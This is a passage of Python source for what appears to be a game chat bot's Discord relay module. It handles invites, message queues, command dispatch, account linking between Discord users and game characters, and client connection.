Int("server_id")], access_level="member", description="Get an invite for specified server", sub_command="getinvite") def discord_getinvite_cmd(self, request, _, server_id): if self.client and self.client.guilds: for server in self.client.guilds: if server.id == server_id: self.send_to_discord("get_invite", (request.sender.name, server)) return return self.getresp("module/discord", "no_dc", {"id": server_id}) @timerevent(budatime="1s", description="Discord relay queue handler", is_hidden=True) def handle_discord_queue_event(self, event_type, event_data): if self.dqueue: dtype, message = self.dqueue.pop(0) if dtype == "discord_message": if message.channel.type == ChannelType.private or message.content.startswith( self.setting_service.get("symbol").get_value()): self.handle_discord_command_event(message) else: self.handle_discord_message_event(message) elif dtype == "discord_ready": self.send_to_discord( "msg", DiscordTextMessage( f"{self.bot.get_primary_conn().get_char_name()} is now connected." )) self.event_service.fire_event(dtype, message) @timerevent(budatime="1m", description="Ensure the bot is connected to Discord", is_enabled=False, is_hidden=True, run_at_startup=True) def handle_connect_event(self, event_type, event_data): if not self.is_connected(): self.connect_discord_client() @event(event_type=AltsService.MAIN_CHANGED_EVENT_TYPE, description="Update discord character link when a main is changed", is_hidden=True) def handle_main_changed(self, event_type, event_data): old_row = self.db.query_single( "SELECT discord_id FROM discord_char_link WHERE char_id = ?", [event_data.old_main_id]) if old_row: new_row = self.db.query_single( "SELECT discord_id FROM discord_char_link WHERE char_id = ?", [event_data.new_main_id]) if not new_row: self.db.exec( "INSERT INTO discord_char_link (discord_id, char_id) VALUES (?, ?)", [old_row.discord_id, event_data.new_main_id]) @event(event_type="discord_invites", description="Handles invite requests", is_hidden=True) def handle_discord_invite_event(self, event_type, event_data): char_name = event_data[0] invites = event_data[1] blob = "" server_invites = "" if len(invites) > 0: for invite in invites: link = self.text.make_chatcmd( self.getresp("module/discord", "join"), "/start %s" % invite.url) timeleft = "Permanent" if invite.max_age == 0 else str( datetime.timedelta(seconds=invite.max_age)) used = str(invite.uses) if invite.uses is not None else "N/A" useleft = str( invite.max_uses) if invite.max_uses is not None else "N/A" if invite.channel is not None: channel = self.getresp("module/discord", "inv_channel", {"channel": invite.channel.name}) else: channel = None server_invites += self.getresp( "module/discord", "invite", { "server": invite.guild.name, "link": link, "time_left": timeleft, "count_used": used, "count_left": useleft, "channel": channel }) blob += self.getresp("module/discord", "blob_invites", {"invites": server_invites}) else: blob += "No invites currently exist." char_id = self.character_service.resolve_char_to_id(char_name) self.bot.send_private_message( char_id, ChatBlob(self.getresp("module/discord", "invite_title"), blob)) def handle_discord_command_event(self, message): if not self.find_discord_command_handler(message): reply = partial(self.discord_command_reply, channel=message.channel) row = self.db.query_single( "SELECT char_id FROM discord_char_link WHERE discord_id = ?", [message.author.id]) if row: message_str = self.command_service.trim_command_symbol( message.content) self.command_service.process_command( message_str, self.COMMAND_CHANNEL, row.char_id, reply, self.bot.get_primary_conn()) else: reply(self.getresp("module/discord", "discord_user_not_linked")) def handle_discord_message_event(self, message): if isinstance(message.author, Member): name = message.author.nick or message.author.name else: name = message.author.name chanclr = self.setting_service.get("relay_color_prefix") nameclr = self.setting_service.get("relay_color_name") mesgclr = self.setting_service.get("relay_color_message") formatted_message = "<grey>[</grey>%s<grey>]</grey> %s<grey>:</grey> %s" % ( chanclr.format_text("Discord"), nameclr.format_text(name), mesgclr.format_text(message.content)) self.message_hub_service.send_message(self.MESSAGE_SOURCE, None, None, formatted_message) def find_discord_command_handler(self, message): message_str = self.command_service.trim_command_symbol(message.content) command_str, command_args = self.command_service.get_command_parts( message_str) for handler in self.command_handlers: if handler.command == command_str: matches = handler.regex.search(command_args) if matches: ctx = DictObject({"message": message}) handler.callback( ctx, partial(self.discord_command_reply, channel=message.channel), self.command_service.process_matches( matches, handler.params)) return True return False def discord_command_reply(self, content, title=None, channel=None): if isinstance(content, ChatBlob): if not title: title = content.title content = content.page_prefix + content.msg + content.page_postfix if not title: title = "Command" title = self.format_message(title) if isinstance(content, str): msgcolor = self.setting_service.get( "discord_embed_color").get_int_value() pages = self.text.split_by_separators(self.format_message(content), 2048) # discord max is 2048 num_pages = len(pages) page_title = title for page_num, page in enumerate(pages, start=1): if num_pages > 1: page_title = title + f" (Page {page_num} / {num_pages})" self.send_to_discord( "command_reply", DiscordEmbedMessage(page_title, page, msgcolor, channel)) return if isinstance(content, DiscordMessage): self.send_to_discord("command_reply", content) else: self.logger.error("unable to process message for discord: " + content) def format_message(self, msg): msg = re.sub(r"<header>(.*?)</header>\n?", r"```less\n\1\n```", msg) msg = re.sub(r"<header2>(.*?)</header2>\n?", r"```yaml\n\1\n```", msg) msg = re.sub(r"<highlight>(.*?)</highlight>", r"`\1`", msg) return self.strip_html_tags(msg) def register_discord_command_handler(self, callback, command_str, params): """Call during start""" r = re.compile(self.command_service.get_regex_from_params(params), re.IGNORECASE | re.DOTALL) self.command_handlers.append( DictObject({ "callback": callback, "command": command_str, "params": params, "regex": r })) def connect_discord_client(self): token = self.setting_service.get("discord_bot_token").get_value() if not token: self.logger.warning( "Unable to connect to Discord, discord_bot_token has not been set" ) else: self.disconnect_discord_client() self.client = DiscordWrapper( self.setting_service.get("discord_channel_id").get_value(), self.dqueue, self.aoqueue) self.dthread = threading.Thread(target=self.run_discord_thread, args=(self.client, token), daemon=True) self.dthread.start() def run_discord_thread(self, client, token): try: self.logger.info("connecting to discord") client.loop.create_task(client.start(token)) client.loop.run_until_complete(client.relay_message()) except Exception as e: self.logger.error("discord connection lost", e) def disconnect_discord_client(self): if self.client: self.client.loop.create_task( self.client.logout_with_message( f"{self.bot.get_primary_conn().get_char_name()} is disconnecting..." )) self.client = None if self.dthread: self.dthread.join() self.dthread = None self.dqueue = [] self.aoqueue = [] def strip_html_tags(self, html): s = MLStripper() s.feed(html) return s.get_data() def discord_link_cmd(self, ctx, reply, args): char = args[1] if not char.char_id: reply(self.getresp("global", "char_not_found", {"char": char.name})) return main = self.alts_service.get_main(char.char_id) if main.char_id != char.char_id: reply(self.getresp("module/discord", "must_link_main")) return author = ctx.message.author discord_user = "******" % (author.name, author.discriminator, author.id) blob = self.getresp( "module/discord", "confirm_instructions", { "discord_user": discord_user, "confirm_link": self.text.make_tellcmd("Confirm", "discord confirm %d" % author.id) }) self.bot.send_private_message(char.char_id, ChatBlob("Discord Confirm Link", blob)) reply( self.getresp("module/discord", "link_response", {"char": char.name})) def discord_unlink_cmd(self, ctx, reply, args): self.db.exec("DELETE FROM discord_char_link WHERE discord_id = ?", [ctx.message.author.id]) reply(self.getresp("module/discord", "unlink_success")) def is_connected(self): # not self.client or not self.dthread.is_alive() return self.client and self.client.is_ready( ) and self.dthread and self.dthread.is_alive() def get_char_info_display(self, char_id): char_info = self.pork_service.get_character_info(char_id) if char_info: name = self.strip_html_tags(self.text.format_char_info(char_info)) else: name = self.character_service.resolve_char_to_name(char_id) return name def send_to_discord(self, message_type, data): self.aoqueue.append((message_type, data)) def handle_incoming_relay_message(self, ctx): if not self.is_connected(): return message = DiscordTextMessage( self.strip_html_tags(ctx.formatted_message)) self.send_to_discord("msg", message) def get_text_channels(self): if self.client: return self.client.get_text_channels() else: return [] def update_discord_channel(self, setting_name, old_value, new_value): if self.client: if not self.client.set_channel_id(new_value): self.logger.warning( f"Could not find discord channel '{new_value}'") def update_discord_state(self, setting_name, old_value, new_value): if setting_name == "discord_enabled": event_handlers = [ self.handle_connect_event, self.handle_discord_queue_event, self.handle_discord_invite_event ] for handler in event_handlers: event_handler = self.util.get_handler_name(handler) event_base_type, event_sub_type = self.event_service.get_event_type_parts( handler.event.event_type) self.event_service.update_event_status(event_base_type, event_sub_type, event_handler, 1 if new_value else 0) if not new_value: self.disconnect_discord_client()